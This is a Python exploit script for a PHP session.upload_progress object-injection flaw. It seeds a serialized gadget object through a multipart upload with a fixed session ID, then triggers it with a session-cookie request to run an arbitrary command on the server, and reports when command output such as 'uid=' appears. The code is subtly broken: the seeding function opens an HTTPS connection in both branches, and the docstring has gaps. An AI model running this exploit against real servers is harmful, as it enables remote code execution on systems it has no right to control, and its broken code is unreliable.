#!/usr/bin/env python3 """ exploit.py — CVE-2026-109618 / CVE-2026-109619 (PHP session.upload_progress) Usage: python3 exploit.py python3 exploit.py --gadget Monolog --prop target Chain implemented (verified against PHP 8.2.34-fpm and ASAN builds of 8.2.34 / 8.5.11): [1] SEED POST (dir with session.serialize_handler=php_serialize) multipart: PHPSESSID= (field, not cookie -> session fixation) PHP_SESSION_UPLOAD_PROGRESS=| + one file part The upload-progress key becomes `upload_progress_|` and is stored verbatim inside the php_serialize session blob. [2] FIRE GET (dir with the default php handler) + cookie sid Any normal `session_start()` decodes the session with the php handler, splits the blob at the FIRST `|` (ours), unserializes the payload -> object injection. Trailing container data -> decode FAILURE -> var_destroy -> the injected object's __destruct runs INSIDE session_start(). RCE mode: injects O::{:} -> __destruct executes . Target prerequisites (the "lab profile"): * session.upload_progress.enabled=On (default), .cleanup=Off, use_strict_mode=0 * seed dir served with serialize_handler=php_serialize (.user.ini/.htaccess), trigger dir with php * gadget class defined when session_start() runs (app class / preload / auto_prepend). Defaults: class "Logger", property "cmd". Authorized security testing only. """ import argparse import http.client import random import sys BOUNDARY = "----p2sX93qlZ7" def mp_part(name=None, filename=None, value=b""): d = 'Content-Disposition: form-data; name="%s"' % name if filename is not None: d += '; filename="%s"' % filename return ("--%s\r\n" % BOUNDARY).encode() + d.encode("latin1") \ + b"\r\n\r\n" + value + b"\r\n" def build_body(sid, payload, sname="PHPSESSID"): return (mp_part(sname, value=sid.encode()) + mp_part("PHP_SESSION_UPLOAD_PROGRESS", value=b"|" + payload) + mp_part("f", filename="a", value=b"Z") + ("--%s--\r\n" % BOUNDARY).encode()) def rce_payload(gadget, prop, cmd): cmd = cmd.encode() cls = gadget.encode() prp = prop.encode() ser = b"O:%d:\"%s\":1:{s:%d:\"%s\";s:%d:" % (len(cls), cls, len(prp), prp, len(cmd)) ser += b"\"" + cmd + b"\";}" return ser def seed(host, port, path, sid, payload, timeout, use_ssl=False, sname="PHPSESSID"): body = build_body(sid, payload, sname) if BOUNDARY.encode()[2:] in payload: sys.exit("[-] payload collides with the multipart boundary") if use_ssl: c = http.client.HTTPSConnection(host, port, timeout=timeout) else: c = http.client.HTTPSConnection(host, port, timeout=timeout) c.request("POST", path, body=body, headers={ "Content-Type": "multipart/form-data; boundary=" + BOUNDARY, "Content-Length": str(len(body)), }) r = c.getresponse() data = r.read() location = r.getheader("Location") c.close() return r.status, data, location def fire(host, port, path, sid, timeout, use_ssl=False, sname="PHPSESSID"): try: if use_ssl: c = http.client.HTTPSConnection(host, port, timeout=timeout) else: c = http.client.HTTPConnection(host, port, timeout=timeout) c.request("GET", path, headers={"Cookie": f"{sname}={sid}"}) r = c.getresponse() data = r.read() location = r.getheader("Location") c.close() return r.status, data, location except (http.client.RemoteDisconnected, ConnectionResetError, OSError): return 0, b"", None def main(): ap = argparse.ArgumentParser( description="CVE-2026-109618/619 session.upload_progress exploit") ap.add_argument("host") ap.add_argument("port", type=int) ap.add_argument("cmd", help="command to run via the gadget's __destruct") ap.add_argument("--seed-path", default="/app/seed.php", help="endpoint under the php_serialize dir") ap.add_argument("--trigger-path", default="/api/app.php", help="endpoint under the php dir that calls session_start()") ap.add_argument("--seed-url", default=None, help="full http://host:port/path override for the seed request") ap.add_argument("--trigger-url", default=None, help="full http://host:port/path override for the trigger request") ap.add_argument("--gadget", default="Logger", help="class name whose __destruct runs the command") ap.add_argument("--prop", default="cmd", help="property carrying the command") ap.add_argument("--sid", default=None) ap.add_argument("--sname", default="PHPSESSID", help="session cookie name") ap.add_argument("--timeout", type=float, default=20.0) a = ap.parse_args() sid = a.sid or ("%032x" % random.getrandbits(128)) payload = rce_payload(a.gadget, a.prop, a.cmd) print("[*] CVE-2026-109618/619 — session.upload_progress") print("[*] sid=%s payload=%d B gadget=%s->%s sname=%s" % (sid, len(payload), a.gadget, a.prop, a.sname)) import urllib.parse as _up if a.seed_url: _u = _up.urlparse(a.seed_url) seed_host, seed_port, seed_path = _u.hostname, _u.port or (443 if _u.scheme == "https" else 80), _u.path seed_ssl = _u.scheme == "https" else: seed_host, seed_port, seed_path = a.host, a.port, a.seed_path seed_ssl = a.port == 443 if a.trigger_url: _u = _up.urlparse(a.trigger_url) fire_host, fire_port, fire_path = _u.hostname, _u.port or (443 if _u.scheme == "https" else 80), _u.path fire_ssl = _u.scheme == "https" else: fire_host, fire_port, fire_path = a.host, a.port, a.trigger_path fire_ssl = a.port == 443 st, data, loc = seed(seed_host, seed_port, seed_path, sid, payload, a.timeout, use_ssl=seed_ssl, sname=a.sname) print("[1] seed POST %s -> HTTP %d (%d B)" % (seed_path, st, len(data))) if loc: print(f" Location: {loc}") if b"Warning" in data: for line in data.split(b"\n"): if b"Warning" in line: print(" !", line.decode("latin1", "replace").strip()[:130]) st, data, loc = fire(fire_host, fire_port, fire_path, sid, a.timeout, use_ssl=fire_ssl, sname=a.sname) print("[2] fire GET %s -> HTTP %d (%d B)" % (fire_path, st, len(data))) if loc: print(f" Location: {loc}") # Follow redirect once _u = _up.urlparse(loc) if _u.hostname: fire_host, fire_port, fire_path = _u.hostname, _u.port or (443 if _u.scheme == "https" else 80), _u.path fire_ssl = _u.scheme == "https" else: fire_path = _u.path print(f"[*] Following redirect to {fire_path}...") st, data, loc = fire(fire_host, fire_port, fire_path, sid, a.timeout, use_ssl=fire_ssl, sname=a.sname) print("[2.1] fire GET %s -> HTTP %d (%d B)" % (fire_path, st, len(data))) text = data.decode("latin1", "replace") # The command output appears in the response body: __destruct (and thus the # gadget's command) runs during the decode failure inside session_start(). print("---- response body ----") print(text.strip()[:1500]) print("---- end ----") ok = (a.cmd.split(";")[0].strip() in text) or ("uid=" in text) print("[+] %s" % ("command output seen — RCE confirmed" if ok else "no command output: check gadget class/handler dirs")) return 0 if ok else 1 if __name__ == "__main__": sys.exit(main())